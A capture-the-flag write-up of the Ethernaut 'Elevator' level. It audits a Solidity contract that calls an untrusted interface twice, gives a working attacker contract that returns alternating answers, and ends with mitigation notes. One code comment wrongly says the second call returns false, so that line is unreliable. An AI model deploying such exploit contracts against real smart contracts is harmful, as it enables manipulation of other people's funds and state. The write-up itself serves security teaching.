> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/elevator.md).

# Elevator

calling other contract

## Description

This elevator won't let you reach the top of your building. Right?

Things that might help:

* Sometimes solidity is not good at keeping promises.
* This `Elevator` expects to be used from a `Building`.

## Background Knowledge

### Ethereum Book

{% embed url="<https://github.com/ethereumbook/ethereumbook/blob/develop/09smart-contracts-security.asciidoc#external-contract-referencing>" %}
External Contract Referencing - Mastering Ethereum
{% endembed %}

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
```

Note that the function `isLastFloor()` is called through an **interface**. When `Building building = Building(msg.sender)` is executed, the target contract looks for `isLastFloor()` in the `msg.sender` contract and grabs its content.

This feature was designed for modularity, but it paves the way for vulnerability since the content of `msg.sender` contract is out of control. As an attacker, we can deploy our own contract and implement a "malicious" version of `isLastFloor()` to trick the target contract.

In the function `goTo()`, `isLastFloor()` is called twice:

```solidity
if (! building.isLastFloor(_floor)) {
  floor = _floor;
  top = building.isLastFloor(floor);
}
```

We want `building.isLastFloor(_floor) == false` and `building.isLastFloor(floor) == true`. Thinking abstractly, we just want `isLastFloor()` evaluates to `false` when it is called the first time, and evaluates to `true` when it is called the second time. This "alternating" feature can be implemented with a counter.

## Solution

Write an exploit contract in Remix IDE:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint _floor) external;
}

contract ElevatorAttack {

    uint counter;

    function attack(address target) external payable {
        IElevator(target).goTo(0);
    }

    function isLastFloor(uint) external returns (bool) {
        // Initially counter == 0
        counter++; // Now counter == 1
        if (counter > 1) return true; // Evaluates to false at call 2
        else return false; // Evaluates to false at call 1
    }
}
```

Deploy it and call the `attack` function.

## Summary

You can use the `view` function modifier on an interface in order to prevent state modifications. The `pure` modifier also prevents functions from modifying the state. Make sure you read [Solidity's documentation](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) and learn its caveats.

An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. `gasleft()`.
